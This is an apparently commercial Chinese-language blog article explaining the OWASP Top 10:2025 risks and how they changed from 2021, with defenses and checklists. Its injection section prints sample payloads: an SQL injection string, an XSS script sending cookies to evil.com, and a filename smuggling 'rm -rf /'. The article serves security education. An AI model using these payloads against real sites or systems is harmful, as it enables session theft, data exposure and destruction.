OWASP Top 10 完整解析:2025 最新版十大網站安全風險(附 2021 vs 2025 差異)

OWASP Top 10 完整解析:2025 版十大網站安全風險與 2021 vs 2025 差異
94% 的網站至少有一個 OWASP Top 10 漏洞。
這不是危言聳聽。根據 Veracode 的報告,絕大多數的網站都有已知的安全弱點。
好消息是,這些漏洞都有明確的防護方式。只要你知道它們是什麼。
這篇文章會逐一解析 OWASP Top 10:2025 的每個漏洞,用白話文告訴你它是什麼、怎麼被攻擊、怎麼防護,並整理 2021 版到 2025 版的完整差異。
什麼是 OWASP Top 10?
由來與重要性
OWASP Top 10 是由 OWASP 組織 發布的「十大網站安全風險清單」。
這份清單不是隨便列的。它是根據全球數百間企業提供的真實漏洞數據,統計出最常見、最危險的 10 種弱點。
為什麼重要?
- 業界標準:被 PCI DSS、NIST 等合規標準採用
- 風險導向:排名越前面,風險越高
- 實用性強:每個漏洞都有具體的防護建議
如果你只能學一份資安清單,就是這份。
更新週期與決策機制
OWASP Top 10 大約每 3-4 年更新一次。
歷年版本:
- 2003 年:第一版
- 2004 年:第二版
- 2007 年:第三版
- 2010 年:第四版
- 2013 年:第五版
- 2017 年:第六版
- 2021 年:第七版
- 2025 年:第八版(目前最新正式版)
2025 版何時發布?
OWASP 基金會的 Top 10:2025 已於 2025 年 11 月的 OWASP Global AppSec 大會公布、2026 年 1 月定案,是自 2021 年以來的第一次改版。這是第八版「十大安全風險」清單,建立在超過 280 萬個應用程式的資料上(號稱歷來最大、最完整的應用程式安全資料集),並分析了約 17.5 萬筆對應到 CWE 弱點分類的 CVE 紀錄。
2025 版重大變更:
| 變更類型 | 說明 |
|---|---|
| 🆕 新增 | A03:2025 軟體供應鏈失效(Software Supply Chain Failures),由 2021 版「使用有漏洞的元件」擴大而來 |
| 🆕 新增 | A10:2025 異常條件處理不當(Mishandling of Exceptional Conditions) |
| ⬆️ 上升 | 安全設定錯誤從 #5 升至 #2 |
| ⬇️ 下降 | 加密失效從 #2 降至 #4 |
| ⬇️ 下降 | 注入攻擊從 #3 降至 #5 |
| 🔀 整合 | SSRF(原 2021 版 A10)已併入 A01 存取控制失效 |
怎麼決定排名?
OWASP 先從貢獻的資料排出 12 個候選類別,取其中發生率最高的 8 個,再保留 2 個名額給社群問卷票選出來、但資料上還沒完全反映的新興風險。資料來源包括:
- 資安公司的掃描數據
- 弱點賞金平台的回報
- 企業的真實事件統計
- 約 17.5 萬筆 CVE 對應 CWE 的紀錄分析
然後根據「發生率(有多少比例的應用程式至少中一次)」和「影響程度」來排名。
OWASP Top 10:2025 十大漏洞逐項解析
以下逐一解析 OWASP Top 10:2025(目前最新正式版)的十大漏洞。
A01:Broken Access Control(存取控制失效)
連續蟬聯第一,最常見也最危險。2025 版把 SSRF 併入本類。
什麼意思?
使用者能存取他不該存取的資料或功能。
真實案例:
你是一般會員,但改一下網址參數,就能看到管理員頁面。
原本:https://example.com/user/profile?id=123
改成:https://example.com/user/profile?id=1
結果:看到別人的個資
常見攻擊方式:
- 水平越權:看到同級別其他用戶的資料
- 垂直越權:一般用戶存取管理員功能
- IDOR(不安全的直接物件參考):直接修改 ID 存取他人資料
- SSRF(伺服器端請求偽造):2025 版把原本獨立成一類的 SSRF 併入存取控制失效——攻擊者誘騙伺服器對它不該存取的內部資源發出請求,本質上就是一種存取控制破口。經典案例是 Capital One 資料外洩:攻擊者利用 SSRF 讓 AWS 伺服器去請求內部 Metadata Service,取得 IAM 憑證後存取 S3 中的客戶資料。
防護方式:
- 預設拒絕所有存取,再逐一開放
- 每個 API 都要做權限檢查
- 避免在 URL 暴露資源 ID
- 驗證與過濾使用者輸入的 URL、用白名單限制可請求目標、阻擋對內部網段的請求(防 SSRF)
- 實作速率限制
A02:Security Misconfiguration(安全設定錯誤)
2025 版從第 5 名躍升第 2 名——最容易避免,卻最常發生。
什麼意思?
系統設定沒改好,留下安全漏洞。
常見錯誤:
| 錯誤 | 風險 |
|---|---|
| 預設密碼沒改 | 被輕易登入 |
| 錯誤訊息太詳細 | 洩漏系統資訊 |
| 開了不必要的服務 | 增加攻擊面 |
| 沒關 Debug 模式 | 洩漏敏感資訊 |
| 沒更新安全 Patch | 已知漏洞被利用 |
真實案例:
某公司的 S3 Bucket 設成公開,結果客戶資料被整包下載。
防護方式:
- 建立安全基準設定(Baseline)
- 自動化設定檢查
- 定期掃描和審計
- 移除不必要的功能和帳號
A03:Software Supply Chain Failures(軟體供應鏈失效)
2025 版全新類別,由 2021 版「使用有漏洞的元件」擴大而來,一舉升到第 3 名。
什麼意思?
風險範圍從「用了有已知漏洞的套件」擴大到「整條軟體供應鏈的任何失效」。不只是舊元件,還包括:
- 第三方程式碼與相依套件被植入惡意修改
- 建置、發佈或更新流程被入侵
- 用了已停止維護、沒人再修補的元件
- 缺乏整條供應鏈的版本清單追蹤
- CI/CD pipeline 與開發工具鏈本身的弱點
- 缺乏變更管理與權責分離
真實案例:
2021 年 Log4j 漏洞(Log4Shell),影響了全球數百萬個 Java 應用程式——一個被廣泛引用的日誌函式庫有洞,全世界跟著遭殃。
問題在哪?
現代軟體大量依賴第三方套件。你的專案可能直接依賴 50 個套件,但這 50 個套件又各自依賴更多套件。任何一個環節有漏洞或被動手腳,你就有風險。
防護方式:
- 維護軟體物料清單(SBOM)
- 定期掃描套件漏洞(OWASP Dependency-Check)
- 及時更新有漏洞的套件、移除不再使用或已停止維護的套件
- 保護 CI/CD pipeline 與建置環境、驗證來源簽章
- 做好版本清單追蹤與變更管理
A04:Cryptographic Failures(加密機制失效)
2025 版從第 2 名降至第 4 名。敏感資料沒有好好保護。
什麼意思?
密碼用明文存、信用卡號沒加密、用了過時的加密演算法。
真實案例:
2019 年 Facebook 被爆料,數億用戶的密碼以明文形式存在內部日誌中。
常見問題:
| 問題 | 說明 |
|---|---|
| 明文傳輸 | 沒用 HTTPS |
| 明文儲存 | 密碼沒 Hash |
| 弱加密 | 用 MD5、SHA1 |
| 金鑰管理差 | 金鑰寫死在程式碼 |
防護方式:
- 全站 HTTPS
- 密碼用 bcrypt 或 Argon2 Hash
- 敏感資料加密儲存(AES-256)
- 金鑰用 Vault 或 KMS 管理
A05:Injection(注入攻擊)
2025 版從第 3 名降至第 5 名,但仍是經典中的經典。
什麼意思?
攻擊者在輸入欄位塞入惡意程式碼,讓伺服器執行。
最常見的類型:
SQL Injection:
-- 正常查詢
SELECT * FROM users WHERE id = '123'
-- 攻擊者輸入:123' OR '1'='1
SELECT * FROM users WHERE id = '123' OR '1'='1'
-- 結果:撈出所有用戶資料
XSS(跨站腳本攻擊):
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
Command Injection:
# 網站讓用戶輸入檔名
filename=report.pdf
# 攻擊者輸入:report.pdf; rm -rf /
# 伺服器執行:cat report.pdf; rm -rf /
防護方式:
- 使用參數化查詢(Prepared Statement)
- 輸入驗證和過濾
- 輸出編碼(HTML Encoding)
- 最小權限原則
擔心你的網站有 SQL Injection?預約免費資安評估,讓專家幫你檢測。
A06:Insecure Design(不安全設計)
設計層面就有問題,不是程式寫錯。2025 版排第 6 名。
什麼意思?
不是程式寫錯,是設計就有問題。
真實案例:
某電商的「忘記密碼」功能:
- 輸入 Email
- 系統寄驗證碼(4 位數字)
- 輸入驗證碼重設密碼
問題在哪?4 位數字只有 10,000 種可能,攻擊者可以暴力破解。
常見設計缺陷:
- 缺乏速率限制
- 沒有防止自動化攻擊
- 業務邏輯漏洞
- 缺乏威脅建模
防護方式:
- 在設計階段做威脅建模
- 使用安全設計模式
- 加入防濫用機制
- 定期做設計審查
A07:Authentication Failures(身份驗證失效)
登入機制有漏洞。2025 版由原本的「Identification and Authentication Failures」簡化更名為「Authentication Failures」。
什麼意思?
攻擊者能繞過登入,或輕易取得他人帳號。
常見問題:
- 允許弱密碼(123456)
- 沒有防止暴力破解
- Session 管理不當
- 沒有多因素驗證
攻擊方式:
| 攻擊 | 說明 |
|---|---|
| 暴力破解 | 用程式嘗試所有密碼組合 |
| 憑證填充 | 用外洩的帳密嘗試登入 |
| Session 劫持 | 偷取登入後的 Session |
防護方式:
- 強制密碼複雜度
- 實作登入失敗鎖定
- 使用多因素驗證(MFA)
- 安全的 Session 管理
A08:Software or Data Integrity Failures(軟體或資料完整性失效)
沒有驗證軟體或資料的完整性,可能被植入惡意程式。2025 版由「Software and Data Integrity Failures」微幅更名為「Software or Data Integrity Failures」。
什麼意思?
沒有驗證軟體或資料的完整性,可能被植入惡意程式。
常見問題:
- CI/CD Pipeline 沒有完整性檢查
- 自動更新沒有驗證簽章
- 反序列化漏洞
真實案例:
SolarWinds 供應鏈攻擊。攻擊者入侵 SolarWinds 的建置環境,在軟體更新中植入後門,影響了包括美國政府機關在內的數千個組織。
防護方式:
- 驗證軟體簽章
- 保護 CI/CD Pipeline
- 使用安全的反序列化方式
A09:Security Logging and Alerting Failures(安全日誌與告警失效)
被打了都不知道。2025 版由「Security Logging and Monitoring Failures」更名為「Security Logging and Alerting Failures」(監控 → 告警)。
什麼意思?
沒有足夠的日誌和告警,無法發現或調查攻擊。
問題在哪?
根據統計,企業平均需要 197 天 才能發現資料外洩。很多時候是被外部通知才知道。
常見問題:
- 沒有記錄登入失敗
- 日誌沒有集中管理
- 沒有告警機制
- 日誌保留時間太短
防護方式:
- 記錄所有安全相關事件
- 集中化日誌管理(SIEM)
- 設定告警規則
- 定期審查日誌
A10:Mishandling of Exceptional Conditions(異常條件處理不當)
2025 版全新類別。系統遇到異常或未預期的狀況時,處理方式不安全。
什麼意思?
程式在遇到錯誤、例外或未預期輸入時,沒有安全地處理——包括錯誤處理不當、邏輯錯誤,以及最危險的「fail-open(失效時反而放行)」:本來該擋下的操作,因為某個例外沒被正確攔截,結果變成通過。
常見問題:
- 例外沒被捕捉,把堆疊追蹤(stack trace)與系統內部資訊洩漏給攻擊者
- 錯誤處理邏輯本身有漏洞,攻擊者故意觸發異常來繞過檢查
- 權限或驗證檢查在出錯時預設放行(fail-open)而非拒絕(fail-safe)
- 邊界條件、race condition 沒有妥善處理
防護方式:
- 所有例外都要明確捕捉與處理,對外只回傳通用錯誤訊息
- 安全機制設計成「失效時拒絕」(fail-safe / fail-closed)
- 對邏輯錯誤與邊界條件做完整測試
- 記錄異常事件供監控與調查
歷年版本比較
2021 vs 2025 主要變化
2025 版是自 2021 年以來的第一次改版。下表逐項對照 2021 版與 2025 版的名次與名稱變化:
| 2021 版 | 2025 版 | 變化 |
|---|---|---|
| A01 Broken Access Control | A01 Broken Access Control | 蟬聯第 1,SSRF 併入本類 |
| A02 Cryptographic Failures | A04 Cryptographic Failures | 下降 2 名 |
| A03 Injection | A05 Injection | 下降 2 名 |
| A04 Insecure Design | A06 Insecure Design | 下降 2 名 |
| A05 Security Misconfiguration | A02 Security Misconfiguration | 上升 3 名 |
| A06 Vulnerable and Outdated Components | A03 Software Supply Chain Failures | 擴大改名、上升 3 名 |
| A07 Identification and Authentication Failures | A07 Authentication Failures | 名次不變、更名 |
| A08 Software and Data Integrity Failures | A08 Software or Data Integrity Failures | 名次不變、微幅更名 |
| A09 Security Logging and Monitoring Failures | A09 Security Logging and Alerting Failures | 名次不變、更名(監控→告警) |
| A10 Server-Side Request Forgery (SSRF) | 併入 A01 | SSRF 併入存取控制失效 |
| — | A10 Mishandling of Exceptional Conditions | 全新類別 |
一句話看懂 2021→2025:兩個全新類別(軟體供應鏈失效、異常條件處理不當)、SSRF 併入存取控制、安全設定錯誤大幅上升,其餘經典項目名次微調或更名。
為什麼有這些變動?
- 供應鏈成主戰場:Log4Shell、SolarWinds 之後,供應鏈攻擊被獨立拉出來擴大成 A03,不再只是「有漏洞的元件」。
- 設定錯誤越來越常見:雲端、容器、IaC 普及後,設定錯誤在資料中的發生率大增,因此從第 5 名升到第 2 名。
- SSRF 回歸本質:OWASP 認為「誘騙伺服器發出它不該發的請求」本質上就是存取控制失效,因此把 SSRF 併回 A01。
- 存取控制仍是第一:因為它在真實世界應用程式中的發生次數最多。
2017 → 2021 曾經的變化(歷史回顧)
| 2017 版本 | 2021 版本 | 變化 |
|---|---|---|
| A1: Injection | A03: Injection | 下降 2 名 |
| A2: Broken Authentication | A07: Auth Failures | 下降 5 名 |
| A3: Sensitive Data Exposure | A02: Cryptographic Failures | 上升 1 名,改名 |
| A5: Broken Access Control | A01: Broken Access Control | 上升到第 1 名 |
| A7: XSS | 併入 A03 Injection | 合併 |
| - | A04: Insecure Design | 2021 新增 |
| - | A10: SSRF | 2021 新增(2025 又併回 A01) |
如何使用 OWASP Top 10
知道漏洞是什麼只是第一步。重點是怎麼用這份清單。
開發團隊自檢清單
每次上線前,對照 Top 10:2025 做檢查:
A01 存取控制:
- 每個功能都有權限檢查?
- 無法透過修改參數存取他人資料?
- 有防止 SSRF(伺服器對內部資源發請求)?
A02 設定錯誤:
- 移除預設帳密、關閉 Debug 模式?
- 有安全基準設定並自動化檢查?
A03 供應鏈:
- 有維護 SBOM、掃描套件漏洞?
- CI/CD pipeline 與建置環境有保護?
A04 加密:
- 敏感資料有加密儲存?
- 全站使用 HTTPS?
A05 注入:
- 使用參數化查詢?
- 有做輸入驗證?
以此類推,把 10 項都檢查一遍。
程式碼審查重點
Code Review 時,特別注意(括號內為 2025 版對應項目):
| 程式碼特徵 | 可能的漏洞 |
|---|---|
| 字串拼接 SQL | A05 Injection |
| 直接輸出使用者輸入 | A05 XSS(注入) |
| 沒有權限檢查的 API | A01 Access Control |
| 硬編碼的密碼或金鑰 | A04 Cryptographic Failures |
| eval() 或 exec() | A05 Injection |
| 例外未捕捉/失效時放行 | A10 Mishandling of Exceptional Conditions |
滲透測試覆蓋範圍
做滲透測試時,確保覆蓋 Top 10:2025 所有項目:
□ A01: 測試越權存取(含 SSRF)
□ A02: 測試設定錯誤
□ A03: 掃描供應鏈與套件漏洞
□ A04: 測試加密強度
□ A05: 測試各種注入
□ A06: 測試業務邏輯/設計漏洞
□ A07: 測試登入機制
□ A08: 測試軟體/資料完整性
□ A09: 檢查日誌與告警覆蓋
□ A10: 測試異常條件處理(fail-open)
想用專業工具自己掃描?看 OWASP ZAP 完整教學。
想動手練習這些攻擊?試試 OWASP Juice Shop 實戰教學。
想用 OWASP Top 10 做內部稽核?預約資安評估,我們提供專業評估服務。
常見問題 FAQ
Q1:OWASP Top 10 最新是哪一版?多久更新一次?
目前最新的正式版本是 OWASP Top 10:2025,已於 2025 年 11 月的 OWASP Global AppSec 大會公布、2026 年 1 月定案,是自 2021 年以來的第一次改版。OWASP Top 10 大約每 3-4 年更新一次。此外 OWASP 也有其他專門清單會更頻繁更新,例如 API Top 10(2023)、LLM Top 10(2025)。
Q2:OWASP Top 10 2021 和 2025 的最大差異?
主要有四點:(1)新增兩個類別——A03 軟體供應鏈失效、A10 異常條件處理不當;(2)SSRF 從獨立的 A10 併入 A01 存取控制失效;(3)安全設定錯誤從第 5 名躍升第 2 名;(4)加密失效、注入、不安全設計各往下掉了 2 名。存取控制失效則連續兩版都是第 1 名。整體來看,2025 版更強調供應鏈與異常處理這兩塊。
Q3:中小企業需要遵守 OWASP Top 10 嗎?
不是「遵守」,而是「參考」。OWASP Top 10 不是法規,沒有強制性。但如果你的網站處理客戶資料、金流或敏感資訊,遵循 Top 10 是保護自己和客戶的最佳實務。中小企業更應該重視,因為資安事件可能直接導致公司倒閉。
結語:從知道到做到
OWASP Top 10 是每個開發者和資安人員的必修課。
但光是知道這 10 種漏洞還不夠。你需要:
- 理解原理:知道為什麼會有這個漏洞
- 動手練習:實際嘗試攻擊和防禦
- 融入流程:把檢查機制納入開發流程
建議的下一步:
- 閱讀 OWASP 完整指南 了解更多 OWASP 資源
- 用 OWASP ZAP 掃描你的網站
- 在 Juice Shop 練習這些攻擊
或者,讓專家直接幫你檢查。
預約免費資安評估,用 OWASP Top 10 標準檢視你的網站安全。
參考資源
相關文章
OWASP 是什麼?2025 完整指南:Top 10、ZAP 工具、安全標準一次搞懂
深入了解 OWASP 網站安全標準,涵蓋 Top 10 漏洞清單、ZAP 弱點掃描工具、API/LLM/Mobile 安全指南。免費資源與企業導入實務。
資訊安全資安健診是什麼?服務內容、費用、廠商比較完整指南
資安健診包含哪些項目?費用多少?本文詳細說明弱點掃描、滲透測試、社交工程等服務內容與費用行情,幫你選擇適合的健診方案。
OWASPOWASP API Security Top 10 完整指南:2023 版 API 安全漏洞與防護【2026 更新】
深入解析 OWASP API Top 10 安全漏洞,包含 BOLA、認證失效等十大 API 風險,以及防護措施與測試方法。含 2024-2025 年最新攻擊案例。